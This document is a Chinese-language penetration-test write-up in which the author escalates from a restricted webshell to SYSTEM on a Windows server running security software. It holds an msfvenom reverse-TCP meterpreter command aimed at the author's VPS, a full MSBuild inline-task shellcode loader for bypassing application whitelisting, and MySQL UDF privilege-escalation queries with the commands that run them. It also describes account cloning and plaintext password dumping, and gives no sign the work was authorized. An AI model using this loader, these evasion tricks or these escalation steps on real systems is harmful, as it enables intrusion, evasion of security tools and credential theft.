0x00 前言
退出一线渗透测试也有2个多月了,感觉不搞技术的日子不太好过,心里空虚,烦恼,而又让人觉得无趣,借用兄弟们一句话说就是日了狗了,人一辈子最大的悲哀莫过于,中年失业,虽然我也不是失业,但是我这的尴尬比失业都尴尬、悲哀,所以,这些话谨献给那些奋斗在一线的,特别是乙方一线的渗透人员,希望你们要规划好自己的人生道路,以我为诫,到了中年犹如寒号鸟的哀鸣,又如野狼的嚎叫叫声,凄惨惨,悲戚戚,好不伤感,兄弟们切记,切记,再切记,另外得知老五又建立一个新的90社区的时候,我作为一名老的90sec成员,我义不容辞,要多为咱们90sec的建设,建言献策,添砖加瓦,话不说说,开搞。。。
0x01 前期的信息刺探**
首先拿到webshell,发现phpshell只能访问shell所在目录,连网站根目录都跨不过去如图:
c盘d盘根目录就更别提跨过去了,随之执行一下命令看看,如图:
whoami等简单的命令可以跑起来,tasklist发现了 某某安全套装等安全防护进程进程,om my god,刺激,就喜欢这种各种需要绕的环境,既然能跑起命令来那就上免杀的exp来试着提一下(通过rar解压方法突破某防护程序上传),如图:
经过测试发现,不管把exp放哪个目录都提示拒绝访问,特别是net命令都禁止执行,越发让我感觉是安装安全防护程序的缘故;
0x02 深入
通过msbuild.exe白名单方式运行metasploit payload绕过某安全程序调出w3wp.exe进程
在webshell执行直接执行rar程序一直提示拒绝访问如图:
在实际做测试的时候发现windows下用shell反弹个cmdshell回来执行一些命令要比在webshell好许多,看官请看
成功将我们想要的exe程序解压到指定目录,webshell下是没法cd到rar目录的,现在能正常上传exe,我们看能不能想办法让咱们的msf不要闲下来,之前考虑用 php/meterpreter/reverse_tcp这个payload上线弹回meterpreter,但是弹回来什么权限也没,连ps进程命令都没法显示,这时候就想到了使用msbuild.exe白名单方式运行metasploit payload绕过某防护程序让msf上线,于是就开始动手,具体如下:
首先使用msf生成一个c#的payload
msfvenom -p windows/meterpreter/reverse_tcp lhost=vpsip lport=443 -f csharp
代码如下:
byte[] buf = new byte[179779] {
0x8b,0x71,0x1c,0x85,0xf6,0x74,0x58,0x33,0xff,0x39,0x79,0x20,0x74,0x51,0x39,
0x79,0x24,0x74,0x4c,0x89,0x79,0x14,0x89,0x79,0x08,0x89,0x79,0x18,0xc7,0x41,
0x2c,0x02,0x00,0x00,0x00,0x8b,0x46,0x08,0x89,0x7e,0x14,0x89,0x46,0x10,0x39,
0x7e,0x18,0x7d,0x03,0x89,0x7e,0x18,0x39,0x7e,0x18,0x6a,0x2a,0x58,0x6a,0x71,
0x5a,0x0f,0x45,0xc2,0x89,0x46,0x04,0xc7,0x41,0x30,0x01,0x00,0x00,0x00,0x56,
0x89,0x7e,0x20,0xe8,0x88,0x07,0x00,0x00,0x56,0xe8,0x8a,0x15,0x00,0x00,0x59,
0x59,0x33,0xc0,0xeb,0x03,0x6a,0xfe,0x58,0x5f,0x5e,0x5d,0xc3,0x55,0x8b,0xec,
0x8b,0x4d,0x08,0x33,0xd2,0x56,0x57,0x85,0xc9,0x0f,0x84,0x8d,0x00,0x00,0x00,
0x8b,0x71,0x1c,0x85,0xf6,0x0f,0x84,0x82,0x00,0x00,0x00,0x8b,0x7d,0x0c,0x83,
0xff,0xff,0x6a,0x06,0x58,0x0f,0x44,0xf8,0x83,0xff,0x09,0x77,0x71,0x83,0x7d,
0x10,0x02,0x77,0x6b,0x6b,0x46,0x7c,0x0c,0x53,0x6b,0xdf,0x0c,0x8b,0x80,0x00,
0x9d,0x02,0x10,0x3b,0x83,0x00,0x9d,0x02,0x10,0x74,0x11,0x39,0x51,0x08,0x74,
0x0c,0x6a,0x01,0x51,0xe8,0x2b,0xf6,0xff,0xff,0x59,0x59,0x8b,0xd0,0x39,0x7e,
0x7c,0x74,0x31。。。代码太长省略。。。
};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
用msf生产的代码替换原始代码的内容,这是原始payload如下:
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes shellcode. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
<!-- Save This File And Execute The Above Command -->
<!-- Author: Casey Smith, Twitter: @subTee -->
<!-- License: BSD 3-Clause -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.Runtime.InteropServices;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
public override bool Execute()
{
byte[] shellcode = new byte[179779] {
这里是msf生成的c# shellcode,代码太长省略
};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return true;
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
需要注意的是必须改成shellcode如图:
然后上传到web目录,nc反弹继续执行如下命令:
cd C:\Windows\Microsoft.NET\Framework\v4.0.30319
msbuild.exe D:\1\1111.com\uploadfile\19200\443.csproj
这时候监听好的msf就会返回一个meterpreter如图:
试着在shell和meterpreter下执行exp都提示拒绝访问,如图:
但是测试upload上传命令确实是成功调出w3wp.exe 进程,经过一番努力无果,只好换思路解决。
0x03 MySQL udf提权
通过上面的一些测试,已经无望了,这时候就想着用其他办法,经过测试发现网站支持asp,就上传了一个aspshell,各种翻目录各种测试,终于在网站的二级目录数据库配置文件发现了mysql root密码,OK,上传udf提权php马,在具体测试过程中发现,市面上的udf Php工具都被某安全程序被杀了,我发现把被杀的php后缀修改为csproj上传不杀了,要不然无论把被杀的php换成什么后缀名都不行,然后再通过PHP包含这个文件,就可以突破了(也不知道算不算是个某防护程序的一个bug,总之用这种办法让udf工具跑起来了),如图:
然后按常规导入dll,提示dll导入成功,创建sys_eval 函数执行命令,却又提示函数不存在如:FUNCTION mysql.sys_eval does not exist,在测试过程没少折腾,用portfwd命令转发目标3306到本地,利用sqlmap -d 上传dll提示不成功,后来用--file-write命令上传dll到system32下也失败了,但是发现上传非二进制的文件的话是成功的,后来通过查看权限证明不是权限问题如图:
select * from mysql.user where user = substring_index(user(), '@', 1) ;
权限都很OK,很悲催dll被禁止上传,可恶的安全防护呀,通过查询发现几个自定义函数,如图:
发现udf.dll已经被占坑了,我们查询一下看看
select hex(load_file('c:/windows/system32/udf.dll'));如图:
我们利用php环境把它转成dll,代码如下:
<?php
echo file_put_contents('udf.dll',hex2bin("这里为sql查询出来的值"));
?>
成功把它还原成dll文件,用c32am打开看一下他的用法如图:
看看这个shell函数的用法,
正好和dll里面的信息一致,但是在测试的过程中发现cmd那个参数用法没法执行命令会卡死,后来试了exec,select shell('exec','whoami');,如图:
说明这个exec可以绕过安全防护执行命令,接下来的测试中打算使用msf来操作,于是给目录上传了个免杀的msf工具,过全世界所有的杀毒用法 msf vpsip 443,但是监听好的msf一直没返回来meterpreter,后来没办法又用白名单执行命令成功上线(奇怪的还在后面)命令如下:select shell('exec','C:/Windows/Microsoft.NET/Framework/v4.0.30319/msbuild.exe D://1//xxoo.com//uploadfile//19200//443.csproj');注意斜杠问题否则执行出错
但是奇怪的是已经成了system权限却没办法shell,这也正是这个目标奇葩的地方,执行shell卡死,后来ps了一下进程发现administrator的进程migrate pid,然后再执行shell成功执行,并且也可以执行net user 等命令如图:
很OK,直接net user添加账号肯定不行,利用userclone克隆添加账号密码,账号添加成功,但是加入到管理员组失败,手里有杀某防护程序的神器,但是似乎用不上,杀完需要重启动静太大,OK,这时候发现administrator在线直接上传getpassword64免杀版抓明文密码,得到administrator的明文密码,试着用msf模块抓一下密码,如下:
没有成功,因为之前也踩点发现3389没有被某防护程序加入主机名或者ip认证,可以正常登录,所以也不涉及绕过认证登录的问题。登录如图:
渗透到此就结束了。
0x04 总结
主要还是白名单绕过执行程序及配合udf提权,碰到前人留下的udf后门直接提到system,剩下就是一顿乱折腾,不过也不白折腾,摸着石头过河没什么不好;第一次在先知改版后写文章,文章排版之类的还是不太熟悉,可能写的不尽人意,还是请多包涵。。。。。这里要感谢先知V师傅,莫须有等好兄弟的大力支持,一晚上陪我熬夜。。。